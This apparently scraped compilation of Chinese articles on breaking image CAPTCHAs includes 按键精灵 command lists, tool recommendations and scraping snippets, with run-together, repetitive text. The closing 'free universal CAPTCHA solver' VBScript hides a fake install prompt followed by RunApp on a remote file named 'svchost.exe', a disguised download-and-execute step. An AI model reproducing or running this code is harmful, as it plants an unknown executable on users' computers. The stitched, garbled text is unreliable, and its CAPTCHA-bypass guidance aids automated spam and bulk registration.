按键精灵 识别验证码 一般的验证码通杀
验证码识别原理及实现方法
验证码识别原理及实现方法验证码的作用：有效防止某个黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试。
其实现代的验证码一般是防止机器批量注册的，防止机器批量发帖回复。
目前，不少网站为了防止用户利用机器人自动注册、登录、灌水，都采用了验证码技术。
所谓验证码，就是将一串随机产生的数字或符号，生成一幅图片，图片里加上一些干扰象素（防止OCR），由用户肉眼识别其中的验证码信息，输入表单提交网站验证，验证成功后才能使用某项功能。
我们最常见的验证码1，四位数字，随机的一数字字符串，最原始的验证码，验证作用几乎为零。
2，随机数字图片验证码。
图片上的字符比较中规中矩，有的可能加入一些随机干扰素，还有一些是随机字符颜色，验证作用比上一个好。
没有基本图形图像学知识的人，不可破！3，各种图片格式的随机数字+随机大写英文字母+随机干扰像素+随机位置。
4，汉字是注册目前最新的验证码，随机生成，打起来更难了,影响用户体验，所以，一般应用的比较少。
简单起见，我们这次说明的主要对象是第2种类型的，我们先看几种网上比较常见的这种验证码的图片.这四种样式，基本上能代表2中所提到的验证码类型，初步看起来第一个图片最容易破解，第二个次之，第三个更难,第四个最难。
真实情况那？其实这三种图片破解难度相同。
第一个图片，最容易，图片背景和数字都使用相同的颜色，字符规整，字符位置统一。
第二个图片，看似不容易，其实仔细研究会发现其规则，背景色和干扰素无论怎么变化，验证字符字符规整，颜色相同，所以排除干扰素非常容易，只要是非字符色素全部排除即可。
第三个图片，看似更复杂，处理上面提到背景色和干扰素一直变化外，验证字符的颜色也在变化，并且各个字符的颜色也各不相同。
看似无法突破这个验证码，本篇文章，就一这种类型验证码为例说明，第四个图片，同学们自己搞。
第四个图片，除了第三个图片上提到的特征外，又在文字上加了两条直线干扰率，看似困难其实，很容易去掉。
验证码识别 原理
验证码识别原理
验证码识别是一种计算机技术，旨在自动识别和解读验证码图片中的字符，以完成自动化的验证码验证过程。
验证码是一种用于区分机器和人类用户的技术手段，常见于各种注册、登录和数据访问等需要身份验证的网页或应用程序中。
验证码通常采用扭曲、干扰和变形等方式，使其对机器进行自动化识别变得困难。
验证码识别的基本原理是将验证码图片转化为计算机可读的数据形式，通常以字符序列的形式返回结果。
不同的验证码识别算法有不同的实现方式，但其基本步骤包括图像预处理、字符分割、特征提取和字符识别。
首先，图像预处理阶段是对验证码图片进行预处理，以便更好地提取图像中的字符。
这可能包括图像的灰度化、二值化、降噪和去除干扰等操作，以提高字符的可分辨性。
接下来，字符分割阶段将验证码图片中的字符分开，通常采用边界识别或投影法等技术，以找到字符之间的边界，并将其分割成单个字符的图像。
然后，特征提取阶段将每个字符的图像表示转化为计算机可以理解的特征向量。
常见的特征提取方法包括傅里叶描述子、形状上下文和人工神经网络等。
最后，字符识别阶段使用机器学习或深度学习算法将特征向量映射到对应的字符类别。
常用的字符识别算法包括支持向量机、
随机森林和卷积神经网络等。
总的来说，验证码识别是一个复杂的过程，其中涉及到图像处理、图像分析和模式识别等领域的知识。
不同的验证码识别算法在准确性和适应性上可能有所差异，因此选择合适的算法和参数对于验证码识别的效果非常重要。
按键精灵命令大全
按键精灵命令大全第1 页共11 页按键精灵命令大全小技巧:按Ctrl+F,输入命令,即可迚行查找定位键盘命令键盘模拟命令[KeyPress]"按下再弹起"键[KeyDown]"按下"键[KeyUp]"弹起"键键盘控制命令[WaitKey]等待按键[GetLastKey]获取上一次按键码鼠标命令鼠标模拟命令[LeftClick]模拟点击鼠标左键[RightClick]模拟点击鼠标右键[MiddleClick]模拟点击鼠标中键[LeftDoubleClick]模拟双击鼠标左键[LeftDown]模拟按下鼠标左键[LeftUp]模拟松开鼠标左键[RightDown]模拟按下鼠标右键[RightUp]模拟松开鼠标右键[MoveTo]移动鼠标[MoveR]鼠标相对移动[MouseWheel]滚动鼠标滚轮鼠标控制命令[WaitClick]等待按鼠标[GetLastClick]获取上一次按下的鼠标代码鼠标辅助命令[SaveMousePos]保存当前鼠标位置[RestoreMousePos]将鼠标移动到上一次保存的鼠标位置[LockMouse]锁定鼠标位置[UnlockMouse]解除鼠标锁定控制命令流程控制命令[If]判断语句[Goto]跳转语句[Rem]Goto 命令的标记,也可以做注释[While] ... [EndWhile]循环[For] ... [EndFor]循环[EndScript]脚本结束颜色控制命令[IfColor]判断屏幕x,y 坐标的某点的颜色,来执行后面的动作或控制过程[Sub] . [Return]定义过程[Gosub]调用过程其他命令[Delay]脚本暂停执行[MessageBox]弹出一个窗口[SayString]输入文字,支持变量[Import]导入VBS 或插件命令[VBSBegin] ...[VBSEnd]VBS 区块[VBS]单行VBS 指令[VBSCall]执行外部VBScript 函数[Plugin]调用一个外部插件提供的函数[UserVar]用户自定义设置[PutAttachment]展开附件[//]注释命令[TracePrint]调试窗口显示文字VBS 命令[VBSCall Delay]脚本停止执行一段时间,支持变量[VBSCall FindCenterColor]从屏幕某个区域的中间开始找色[VBSCall FindColor]在屏幕指定区域从左到右找色[VBSCall FindColorEx]模糊找色功能[VBSCall FindPic]找图片,可设定相似度[VBSCall GetCursorPos]获得当前鼠标的坐标[VBSCall GetPixelColor]获得指定位置点的颜色[VBSCall GetScreenResolution] 获得当前屏幕分辨率[VBSCall InputBox]"弹出"对话框允许用户输入文字[VBSCall MessageBox]弹出对话框,支持变量[VBSCall ReadMemory]读取本机指定内存地址的数值[VBSCall RunApp]运行一个程序,或打开一个文件按键精灵命令大全第2 页共11 页[VBSCall SayString]输入文本.[VBSCall SetCursorPos]设置鼠标位置[VBSCall GetCursorShape]获得鼠标形状键盘命令介绍键盘命令分为两大类:键盘模拟命令和键盘控制命令。
验证码的识别与攻防
验证码的识别与攻防随着互联网的发展，越来越多的网站和应用程序使用验证码来防止恶意机器人和自动化脚本的攻击。
验证码（CAPTCHA，全自动区分计算机和人类的公开图灵测试）是一种图像或问题，要求用户进行识别和回答，以证明其为人类而不是机器。
验证码的识别是指通过计算机程序自动化地识别和破解验证码。
验证码的攻击是指恶意用户或黑客使用各种技术手段来破解验证码，以进行自动化攻击。
识别验证码是一个非常具有挑战性的任务，因为验证码通常被设计为对机器来说非常难以理解和识别，但对于人类来说相对容易。
验证码的设计者使用各种技巧和方法来使验证码对机器具有挑战性，例如歪曲文字、干扰线和噪声等。
在识别验证码方面，主要有两种方法：1. 光学字符识别（OCR）：这种方法使用计算机视觉和机器学习算法来识别验证码中的文字。
它首先对验证码图像进行预处理，例如去除噪声、平滑图像等。
然后使用OCR算法将图像转换为可识别的文本。
这种方法在一些简单的验证码上效果较好，但对于复杂的验证码效果有限。
2. 机器学习：这种方法使用机器学习算法来对验证码进行分类和识别。
它通过训练模型来学习并理解不同类型的验证码，然后将输入的验证码与模型进行比较和匹配。
这种方法需要大量的训练数据和计算资源，并且对于新型的验证码可能需要重新训练模型。
1. OCR识别：攻击者可以使用OCR算法来识别和破解验证码。
他们可以使用大量的训练数据来训练模型，并使用其识别的文本来自动化地攻击目标网站或应用程序。
2. 字典攻击：攻击者可以构建一个包含常见验证码的字典，然后通过比对输入的验证码和字典中的验证码来破解验证码。
如果字典中存在与输入的验证码相似或匹配的验证码，那么攻击者就可以绕过验证码的防护。
3. 人工辅助：攻击者可以雇佣廉价劳动力来手动识别和回答验证码，然后使用这些信息来进行自动化攻击。
这种方法虽然效果较好，但需要相对较高的成本和时间投入。
为了防御验证码的攻击，设计者可以使用以下方法来提高验证码的安全性：1. 使用复杂的验证码设计：例如使用扭曲、干扰线、噪声等来增加识别的难度。
验证码识别的原理
验证码识别的原理验证码是为了防止机器恶意攻击而设置的一种验证方式，它会在登录、注册、评论等操作中出现，需要用户输入正确的验证码才能完成操作。
验证码识别就是通过程序自动识别验证码，以实现省去用户手动输入验证码的步骤。
那么，验证码是如何被识别的呢？下面我们就来探究一下验证码识别的原理。
一、图片处理验证码通常是以图片的形式呈现，因此首先要做的就是将验证码图片进行处理。
对于处理的步骤，一般会包括以下几个方面：1. 去除干扰线、噪点等干扰因素2. 对验证码进行分割，将每个字符分开3. 调整字符大小和角度，以便更好地进行识别二、图像特征提取在经过处理后，我们就需要识别验证码中每个字符的特征。
这里我们可以采用一些图像特征提取的方法，例如常见的SIFT、SURF、HOG 等算法。
这些算法都可以用来提取图片的局部特征，并将这些特征进行描述，再进行模式匹配来识别验证码。
三、模式匹配模式匹配是识别验证码的核心步骤，也是最难的一步。
模式匹配是指将已经提取好特征的验证码与事先训练好的模型进行匹配，以此来识别出验证码中的字符。
在实际应用中，识别验证码的过程可能会应用到机器学习中的一些算法，例如深度学习中的卷积神经网络（CNN）。
使用这些算法可以进一步提高验证码识别的准确率。
四、结果验证识别结果需要进行验证，以确保识别正确。
这里可以采用人工干预来进行验证，也可以使用其他辅助方法，如多次尝试输入验证码，或者使用软件工具来识别进行验证等。
无论采用什么方法，验证的目的都是为了确保识别的准确性和可靠性。
综上所述，验证码识别的过程包括图片处理、图像特征提取、模式匹配和结果验证等一系列的步骤。
虽然难度较大，但是通过采用一些成熟的算法和辅助工具，也可以实现较高的识别率，从而有效防止机器恶意攻击，确保网络安全。
Python网络爬虫的验证码识别与破解方法
Python网络爬虫的验证码识别与破解方法网络爬虫是一种用于自动获取网页信息的程序，它可以在互联网上自动化地浏览网页、抓取数据等。
然而，在进行网络爬取时，我们经常会遇到验证码的问题，这给爬虫程序带来了困扰。
本文将介绍基于Python的网络爬虫的验证码识别与破解方法。
一、验证码的作用与种类验证码（CAPTCHA）是为了区分人类用户和计算机程序的一种技术手段。
它目的在于阻止自动化程序（如爬虫）对网站进行恶意攻击，保障网站的安全性。
常见的验证码类型包括数字验证码、字母验证码、混合验证码、中文验证码等。
二、验证码识别的原理验证码识别是指通过计算机程序自动识别并破解验证码的过程。
常用的验证码识别方法包括图像处理与模式识别两部分内容。
图像处理主要用于降噪、二值化、分割等预处理操作，以便提取验证码中的有效信息。
模式识别则使用机器学习算法，通过训练模型来对验证码进行分类和识别。
三、验证码识别的Python库Python提供了许多强大的图像处理和机器学习库，为验证码识别提供了便捷的解决方案。
以下是常用的Python库：1. PIL（Python Imaging Library）：用于图像预处理、特征提取等操作。
2. OpenCV（Open Source Computer Vision）：提供了丰富的图像处理函数和工具。
3. Scikit-learn：用于机器学习任务，提供了常见的分类算法和模型评估方法。
4. TensorFlow：深度学习框架，可以应用于验证码的识别和破解。
5. Keras：基于TensorFlow的高级神经网络库，可以快速搭建验证码识别模型。
四、验证码识别与破解方法基于以上提到的Python库，我们可以采用以下方法来识别和破解验证码：1. 图像预处理：使用PIL和OpenCV库进行验证码图像的读取、降噪、二值化、分割等预处理操作。
2. 特征提取与选择：通过特征工程技术，提取验证码图像中的有效特征，如轮廓、颜色、形状等。
AI识别验证码，帮你自动识别验证码并完成验证的神器插件乐软博客
AI识别验证码，帮你自动识别验证码并完成验证的神器插件乐软博客众所周知，验证码是Web网页不可或缺的重要组件，可以尽可能的提升交互安全性，防止暴力破解。
验证码多式多样，其中图文验证码应用广泛，通常是肉眼可分的数字、字母混合排列，而在如今的智能时代，验证码也千变万化，诞生了许多基于AI让机器更加难以识别的验证方式。
比如谷歌的。
不过机器难以识别的验证码，多数情况下，人的肉眼也要花费时间去识别，对于用户而言，在日常的使用中极为不便。
今天，给大家推荐三个可以帮我们自动识别并填写验证码的小工具。
验证码识别2.0，纯本地自动识别网页验证码的神器验证码识别2.0，是一款由吾爱论坛网友@fm32开发的一款纯本地的自动识别网页验证码的小工具，它简单易用，可以通过快捷键截取网页上的验证码快速识别并自动将识别的内容复制剪贴板，让你毫不费事，快速填写网页上恼人的验证码！主要特性：•本地识别验证码，无需联网•支持设置快捷键•支持屏幕贴边隐藏•支持开机启动验证码识别工具使用非常简单，运行后，你只需要点击按钮或者通过快捷键Alt+C（默认），选取网页上验证码，工具将自动识别，并自动复制识别的结果。
如图：目前它支持两种模式，按照作者所述，模式1调用ddddocr识别（准确率较高）模式2调用识别库ocr.dll。
工具支持自定义设置快捷键，而且你可以把它放在屏幕边缘贴边隐藏，通过快捷键可以快速调用。
此外，开发者也提供了一个配套的Chrome插件，在浏览器中的扩展中开启开发者模式，加载Chrome插件即可。
浏览器插件，更进一步简化了操作，在页面上直接右键选择识别验证码，然后截图即可。
（本图来自开发者）总结：这款来自吾爱大佬编写的验证码识别工具，简单易用，它是在本地调用了ddddocr识别和ocr.dll，所以无需联网，也不必担心有一天突然无法使用。
至于识别率，当然无法100%识别，如果碰到了复杂的验证码直接在网页上刷新就好。
NopeCHA，让AI打败反人类的验证码！目前市面上的验证码，种类繁多，上面大家常见文字型的验证码，一般最多是采用变形、或者背景色相近来提升识别难度，但只要你多看一下，还是可以识别出来的。
验证码的识别与攻防
验证码的识别与攻防随着互联网的发展，验证码 (CAPTCHA) 在我们的生活中变得越来越常见。
验证码是一种人机识别技术，通过给用户展示一些难以被计算机识别的图形、文字、音频或者视频内容，来区分人类用户和自动化程序。
验证码的目的是保护网站免受恶意攻击，例如自动化脚本，垃圾邮件发送程序等。
随着技术的发展，验证码识别和攻破的方法也越来越多样化和复杂化。
随着技术的进步，验证码的攻破方法也越来越多样化和复杂化。
一种常见的攻击方法是基于机器学习的识别方法。
通过收集大量的验证码样本数据，然后使用机器学习算法进行训练，来实现对验证码的自动识别。
这种方法的关键是如何选择适当的特征和算法，以及如何解决验证码样本的不平衡和干扰问题。
另一种常见的攻击方法是基于人工智能的模拟方法。
通过使用深度学习算法，例如卷积神经网络 (CNN)、循环神经网络 (RNN)等，来模拟人类对验证码的识别过程。
这种方法的关键是如何构建适当的神经网络结构和训练算法，以及如何解决验证码的多样性和动态性问题。
为了应对验证码的攻击，同时也保护用户的隐私和便利性，我们需要采取一些防御措施。
首先是提高验证码的复杂性和多样性。
通过增加验证码中的图形、文字、声音或者视频内容的复杂性和多样性，来增加攻击者攻破验证码的难度。
其次是增加验证码的时效性和难度。
通过增加验证码的刷新频率和难度级别，来降低攻击者攻破验证码的成功率。
最后是结合其他身份认证手段。
通过与其他身份认证手段，例如用户名密码、短信验证码等结合起来，来提高用户的身份认证安全性。
验证码的识别与攻防是一个相互竞争的过程。
随着技术的发展，验证码的识别和攻破方法也在不断演化和升级。
为了应对验证码的攻击，我们需要不断提高验证码的复杂性和多样性，增加验证码的时效性和难度，以及结合其他身份认证手段。
只有综合运用各种技术手段，才能提高验证码的防护能力，保护网站免受恶意攻击。
按键精灵使用说明
按键精灵使用说明一、按键精灵简介按键精灵是一款功能强大的自动化工具，它可以模拟键盘、鼠标输入，实现自动化操作。
无论是简单的重复点击、键盘输入，还是复杂的自动执行脚本，按键精灵都能够完成，并且支持多种自定义设置，灵活易用。
二、安装与启动2.安装软件：双击安装包，按照安装向导逐步进行安装。
3.启动软件：安装完成后，可以在桌面或开始菜单中找到按键精灵的图标，双击图标即可启动软件。
三、基本功能1.宏录制与执行按键精灵支持宏录制与执行，可以录制用户在键盘上的操作，然后保存为宏文件，以后就可以通过点击宏文件来执行录制的操作。
录制宏的步骤如下：-打开按键精灵软件，在软件界面上找到“录制”按钮，点击进入录制模式。
-在需要录制的应用程序中进行操作，按键精灵会自动记录下键盘与鼠标的操作。
-完成操作后，点击按键精灵界面上的“停止”按钮，宏录制结束。
-然后将录制的宏保存起来，以后就可以通过点击宏文件再次执行这些操作了。
2.自定义脚本编写脚本的步骤如下：-编写完成后，点击保存按钮保存脚本，并执行脚本。
3.快捷键绑定按键精灵支持为宏命令或脚本命令设置快捷键，方便用户快速执行特定的操作。
设置快捷键的步骤如下：-打开软件界面，找到需要设置快捷键的宏或脚本命令。
-右键点击该命令，选择“快捷键设置”。
-在弹出的对话框中，按下需要设置的快捷键组合。
-设置完成后，按下快捷键即可执行该命令。
四、高级功能1.图像识别与模拟按键精灵支持图像识别与模拟功能，可以根据指定的图片进行判断和操作。
用户可以通过该功能实现一些特殊的操作，如点击一些特定颜色的按钮等。
图像识别与模拟的步骤如下：-打开按键精灵软件，在软件界面上找到“图像识别与模拟”按钮，点击进入图像识别与模拟模式。
-在需要操作的应用程序中截取所需图片，并保存为图像识别文件。
-在图像识别与模拟模式中选择相应的图像识别文件，并设置操作参数。
-完成设置后，点击开始运行按钮，按键精灵会根据设定的图片进行操作。
常见的数字验证码识别方法
常见的数字验证码识别方法
数字验证码识别是指识别数字验证码的过程，通常用于防止恶意注册、登录等行为。
以下是几种常见的数字验证码识别方法：
1.OCR识别：OCR识别是指使用光学字符识别技术对验证码中的字符进行识别。
OCR识别通常使用计算机视觉技术，通过分析图像中的像素点和线条来识别字符。
OCR识别速度快、精度高，但对于扭曲、变形、模糊等情况的识别效果较差。
2.人工神经网络识别：人工神经网络识别是指使用人工神经网络对验证码中的字符进行识别。
人工神经网络识别通常使用卷积神经网络（CNN）或循环神经网络（RNN）等深度学习模型，通过训练数据集来学习字符的特征，并进行识别。
人工神经网络识别准确度高，但需要大量的训练数据和计算资源。
3.基于规则的识别：基于规则的识别是指使用预定义的规则对验证码中的字符进行识别。
基于规则的识别通常使用模式匹配、字符串匹配等方法，通过匹配字符与预定义的规则来进行识别。
基于规则的识别速度快、易于实现，但对于复杂的验证码效果较差。
以上是几种常见的数字验证码识别方法，每种方法都有其适用范围和优缺点，需要根据具体的场景和需求选择合适的方法。
验证码的识别与攻防
验证码的识别与攻防随着人工智能的发展，验证码的识别技术也在不断进步，使得一些自动化攻击方式也能够绕过验证码的防护措施。
验证码的识别与攻防成为当前互联网安全领域的重要研究方向之一。
验证码的识别是指利用计算机技术来自动识别验证码的过程。
验证码的设计通常包括扭曲、尺寸变换、干扰线条等手段，以增加识别的难度。
为了识别验证码，可以借助机器学习、深度学习、图像处理等技术手段。
目前，获取大量标注的验证码数据集是进行验证码识别研究的关键，而这也是一个困难和耗时的过程。
很多研究者借助于生成对抗网络（GAN）等技术来生成合成的验证码样本，从而提高模型的泛化能力。
验证码的攻防是指通过各种方式破解验证码或设计更复杂的验证码来提高安全性。
攻击验证码的方法主要包括图像处理、字符分割、特征提取等手段。
通过图像处理技术去除干扰线条、进行字符分割等，以提高识别准确率。
攻击者也可以使用目标检测、文本识别等技术来提取验证码中的信息，从而破解验证码。
为了防止这些攻击，验证码的设计需要不断更新和改进。
可以通过增加干扰线条、扭曲字符形状、增加噪声等手段，使得攻击者更加难以分割和识别验证码。
为了有效防御验证码的攻击，可以采取以下几种策略：1.增加验证码的复杂性：可以增加验证码的位数，增加字符种类，增加噪声等，使得攻击者更难以破解验证码。
2.加入人机交互验证：可以通过要求用户拖拽滑块、点击图标、识别特定图片等方式，增加人机交互的难度，使得机器更难模拟用户行为。
3.使用最新的验证码识别技术：随着计算机视觉和机器学习的发展，验证码识别技术也在不断进步。
使用最新的技术可以有效防御传统的验证码攻击手段。
4.多因素认证：将验证码与其他认证方式结合，如短信验证码、指纹识别等，提高安全性。
验证码的识别与攻防是一场持续的较量。
随着技术的不断发展，验证码攻防双方都在不断更新和改进自己的方法。
在保护用户信息安全的也需要注意不给用户带来过多的不便。
未来，验证码的识别与攻防将继续是互联网安全领域的重要研究方向之一。
Python网络爬虫中的验证码识别与破解技术
Python网络爬虫中的验证码识别与破解技术网络爬虫是目前互联网数据抓取和处理的主要手段之一，它可以自动化地获取网页上的数据并进行后续的处理。
然而，很多网站为了防止被爬虫过度使用，会在登录、注册、评论等操作时添加验证码，以确认用户的真实身份。
这给爬虫的自动化处理带来了一定的困难。
本文将介绍Python网络爬虫中的验证码识别与破解技术。
一、验证码的种类和特点验证码（CAPTCHA）是一种区分用户是机器人还是人类的技术。
常见的验证码种类有数字验证码、文字验证码、滑动验证码等。
1. 数字验证码：由一串数字组成，一般为4位或6位数。
特点是简单、易于生成，但安全性较低，容易被破解。
2. 文字验证码：由一串随机的英文字母和数字组成，一般为4位或6位。
相对于数字验证码，文字验证码的安全性更高一些，但同样存在被破解的风险。
3. 滑动验证码：需要用户拖动滑块，以验证用户的真实性。
相对于数字和文字验证码，滑动验证码的安全性更高，更难以被破解。
二、验证码识别技术验证码识别是将验证码图像转化为可识别的文本或数字的过程。
常见的验证码识别技术包括以下几种：1. 图像处理技术：使用Python中的图像处理库，如OpenCV和PIL，进行图像的预处理和特征提取，再通过机器学习或深度学习算法进行训练和识别。
2. 机器学习技术：使用支持向量机（SVM）、随机森林（Random Forest）等机器学习算法，通过训练模型来实现验证码的识别。
首先，将验证码图像转换为特征向量，然后使用机器学习算法对特征向量进行分类。
3. 深度学习技术：使用深度神经网络，如卷积神经网络（CNN）等，进行验证码的训练和识别。
深度学习技术在图像识别领域有较高的准确性和鲁棒性。
三、验证码破解技术验证码破解是指通过各种技术手段绕过验证码功能，实现自动化操作。
常见的验证码破解技术包括以下几种：1. 模拟浏览器：使用Python中的Selenium库，模拟真实的浏览器行为，包括自动输入验证码，以及处理验证码验证页面的跳转。
验证码识别技术
验证码识别技术模拟精灵是首个公开最有效的验证码识别技术的软件，使用模拟精灵制作了大量的免费、商用群发软件，对很多复杂BT的验证码都能成功的识别。
但是验证码仍然需要精湛的技术与足够的耐心。
请牢记这一点。
验证码识别不适合浮躁的人去做。
验证码识别是一项特殊的技术，任何一个公开的验证码识别代码都会很快的失效。
因为代码的公开后相关网站都会很快的更改验证码。
所以下面我只会介绍其原理。
在这里讨论验证码识别技术纯粹基于技术研究目的。
公开此技术也是为了让更多的网站采取更有效的防范措施。
禁止任何人利用这里介绍的验证码识别技术滥发垃圾信息。
本文介绍的验证码识别适用于比较复杂的图片验证码，也是大多数网站采用的方法。
有一些网站的验证码极简单，例如在网页中直接显示验证码字符而不是图片，或者图片的文件名直接就是验证码上的字符。
或者有其他规律可循，或者有其他明显的漏洞可以利用(例如通过改写访问验证码页面的源代码使验证码不刷新)。
这一类的验证码识别极其简单，只要熟练掌握web库、element库的函数即可，不需要使用下面介绍的方法。
一、下载验证码样本打开c:\test文件夹，选“查看缩略图”，然后重复运行下面的LAScript脚本，每运行一次,就查看c:\test下自动生成的图片,把图片上的字符改为文件名.例如图片上面显示5,就把文件名改为5.jpg.如果变化比较复杂的验证码，可以对每个字符多用几个样本，第一个字符为验证码字符，第二个字符可以为任意字符。
例如：5a.jpg , 5b.jpg , 5c.jpg ...........等等。
样本多就会识别能力就越强。
img = image.new();--下载图像，没有后缀名要显示指定*.bmp格式img:getURL("http://www.***.com/test.asp","*.png");assert(img:ok(),"下载验证码失败");img:Crop(4 ,3 , 56 ,18 )img:save("c:\\test\\test.jpg") --保存到硬盘--折分图片，指定一行四列img2,img3,img4,img5 = img:split(1,4);img2:save("c:\\test\\0001.jpg")img3:save("c:\\test\\0002.jpg")img4:save("c:\\test\\0003.jpg")img5:save("c:\\test\\0004.jpg")image.del(img);如何确定图片后缀名在整个验证码识别过程中，格式与后缀名一定不能搞错，否则就会失败。
验证码的识别与攻防
验证码的识别与攻防随着科技的发展，互联网已经成为人们日常生活中不可或缺的一部分。
在互联网上，为了提高安全性，很多网站和应用程序都会使用验证码来验证用户的身份，以防止恶意攻击和不法行为的发生。
验证码是一种基于人机交互的技术，通过向用户展示一组随机生成的字符、数字或图像，要求用户正确识别并输入，以证明用户是人类而不是机器。
这种技术在一定程度上可以有效防止自动化程序的攻击，提高用户账号的安全性。
验证码的识别与攻防也成为了黑客和破坏者的新的攻击目标。
对于验证码的识别来说，自动技术的发展使得攻击者可以使用各种方法来突破验证码的防御。
最常见的方法是使用光学字符识别（OCR）技术。
OCR技术能够识别图片中的字符，并将其转化为可编辑的文本。
攻击者可以使用OCR技术将验证码中的字符识别出来，从而绕过验证码的验证过程。
为了应对这些攻击，验证码的设计需要不断更新和改进。
一种常见的方法是使用扭曲、干扰等技术，使得验证码中的字符对于机器来说更难识别，同时保证对于人类来说依然可辨认。
还可以使用图片中的语义信息来增加识别的难度，比如将验证码图片设置为与网站主题相关的图片，使机器难以区分。
对于验证码的攻防来说，攻击者可以利用大量的计算资源和网络攻击手段来进行暴力破解。
他们可以使用自动化软件不断尝试不同的验证码组合，直到找到正确的答案。
为了防止这种攻击，验证码的有效期可以设置为较短的时间，比如几分钟或十几分钟，这样即使攻击者能够获取到正确的验证码，也很难在有效期内完成攻击。
可以采用多重验证的方法，将验证码与其他的验证方式相结合，比如手机短信验证码、人脸识别等，提高验证的准确性和安全性。
网站和应用程序也可以采用动态的验证码，通过不断变化的验证方式来防止被攻击者破解。
验证码的识别与攻防一直是一个不断演化的过程。
虽然不断有新的攻击方式和技术出现，但是随着技术的进步和算法的改进，验证码的防御也在不断提高。
未来，随着人工智能和机器学习的发展，我们有望开发出更加智能和安全的验证码系统，以确保互联网的安全性。
验证码原理
验证码原理验证码（Verification Code）是一种用于确认用户身份或者防止恶意攻击的安全技术手段。
它通常以图形、文字、数字或者声音等形式呈现，要求用户根据提示进行输入或者操作，以验证其身份或者完成某项操作。
验证码的原理是基于人机识别的技术，通过要求用户完成特定的任务来确认用户的身份或者意图，从而提高系统的安全性。
验证码的原理主要包括以下几个方面：一、图形识别。
图形验证码是最常见的一种验证码形式，它通常以扭曲的文字、数字或者图案的形式呈现给用户，要求用户根据提示输入相应的内容。
图形验证码的原理是利用计算机生成扭曲的图形，使得机器很难识别其中的内容，但对于人类来说相对容易识别，从而实现了人机识别的差异化。
二、声音识别。
除了图形验证码，声音验证码也是一种常见的形式。
它通过播放一段语音内容，要求用户根据内容进行相应的操作，比如回答问题或者输入特定的内容。
声音验证码的原理是利用声音的特征，要求用户进行相应的识别和回应，从而确认用户的身份或者意图。
三、数字识别。
数字验证码通常以数字的形式呈现给用户，要求用户进行输入或者计算。
比如简单的加减乘除运算、数字序列填充等形式。
数字验证码的原理是利用数字的特性，要求用户进行相应的计算或者输入，从而确认用户的身份或者意图。
四、行为识别。
除了以上几种形式，还有一种行为验证码，它要求用户进行特定的操作，比如拖动滑块、点击特定区域、摇晃手机等。
行为验证码的原理是利用用户的操作行为，通过特定的操作来确认用户的身份或者意图。
总的来说，验证码的原理是利用人机识别的差异，通过要求用户进行特定的任务来确认用户的身份或者意图。
它可以有效防止恶意攻击、刷票、注册机等行为，提高系统的安全性。
随着技术的发展，验证码的形式也在不断创新和改进，以适应不同场景和需求的安全验证。
验证码技术的应用将会越来越广泛，成为网络安全的重要保障手段。
pokemmo验证码机制
pokemmo验证码机制Pokemmo是一款非官方的宠物小精灵游戏，其验证码机制是保证游戏公平性和安全性的重要措施。
本文将从以下几个方面进行详细介绍：什么是验证码机制、为什么需要验证码机制、Pokemmo的验证码机制是如何工作的、Pokemmo验证码机制存在哪些问题以及如何应对这些问题。
一、什么是验证码机制验证码（CAPTCHA）全称为“Completely Automated Public Turing test to tell Computers and Humans Apart”，即全自动区分计算机和人类的图灵测试。
简单来说，就是通过一系列人类易于识别但计算机难以识别的图形、文字等形式，来判断用户是否为真实人类。
二、为什么需要验证码机制在网络世界中，很多恶意程序和黑客都会利用自动化程序进行大规模攻击，如爬虫、垃圾邮件发送等。
而普通用户很难像计算机程序那样高效地完成这些工作。
因此，引入验证码机制可以有效地防止自动化程序对系统进行攻击。
三、Pokemmo的验证码机制是如何工作的在Pokemmo游戏中，当玩家注册账号或登录时，系统会弹出一个包含数字和字母组合的图片，并要求玩家在输入框中输入正确的验证码。
如果输入错误，则需要重新输入，直到正确为止。
这里所使用的验证码机制是基于图像识别技术的。
系统会生成一张包含随机数字和字母组合的图片，并将其转换成一种特定的编码格式（如base64编码）。
然后，将编码后的图片发送给客户端，让玩家进行识别和输入。
当玩家提交验证码后，系统会将其转换回原始图片进行比对，如果匹配成功，则允许玩家进行下一步操作。
四、Pokemmo验证码机制存在哪些问题尽管验证码机制可以有效地防止自动化攻击，但它也存在一些问题：1. 人类易于识别但计算机难以识别的图形、文字等形式，在某些情况下也可能会对用户造成困扰和不便。
2. 验证码可以被破解。
尽管系统可以不断更新并升级验证码算法来提高安全性，但黑客也可以利用各种手段来破解验证码。
按键精灵免费识别验证码一般的验证码通杀
按键精灵免费识别验证码一般的验证码通杀Function body(a,b,c)dim aaaa=aaa=mid(aa,instr(aa,b)+len(b))body=left(aa,instr(aa,c)-1)End FunctionPublic Function StringToBytes(ByVal strData, ByVal strCharset) Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeTextobjFile.Charset = strCharsetobjFile.OpenobjFile.WriteText strDataobjFile.Position = 0objFile.Type = adTypeBinaryIf UCase(strCharset) = "UNICODE" ThenobjFile.Position = 2 'delete UNICODE BOMElseIf UCase(strCharset) = "UTF-8" ThenobjFile.Position = 3 'delete UTF-8 BOMEnd IfStringToBytes = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetFileBinary(ByVal strPath)Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeBinaryobjFile.OpenobjFile.LoadFromFile strPathGetFileBinary = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetBoundary()Dim ret(12)Dim tableDim itable = "abcdefghijklmnopqrstuvwxzy0123456789"RandomizeFor i = 0 To UBound(ret)ret(i) = Mid(table, Int(Rnd() * Len(table) + 1), 1)NextGetBoundary = "---------------------------" & Join(ret, Empty) End FunctionPublic Sub AddForm(ByVal strName, ByVal strValue)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""\r\n\r\n$3"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strValue)objTemp.Write StringToBytes(tmp, strCharset)End SubPrivate Sub AddEnd()Dim tmptmp = "\r\n--$1--\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Position = 2End SubPublic Function Upload(ByVal strURL)Call AddEndMessageBox "系统检测到您的脚本没有安装DM后台，点击安装" URL= "/doc/4217864408.html,/svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, False 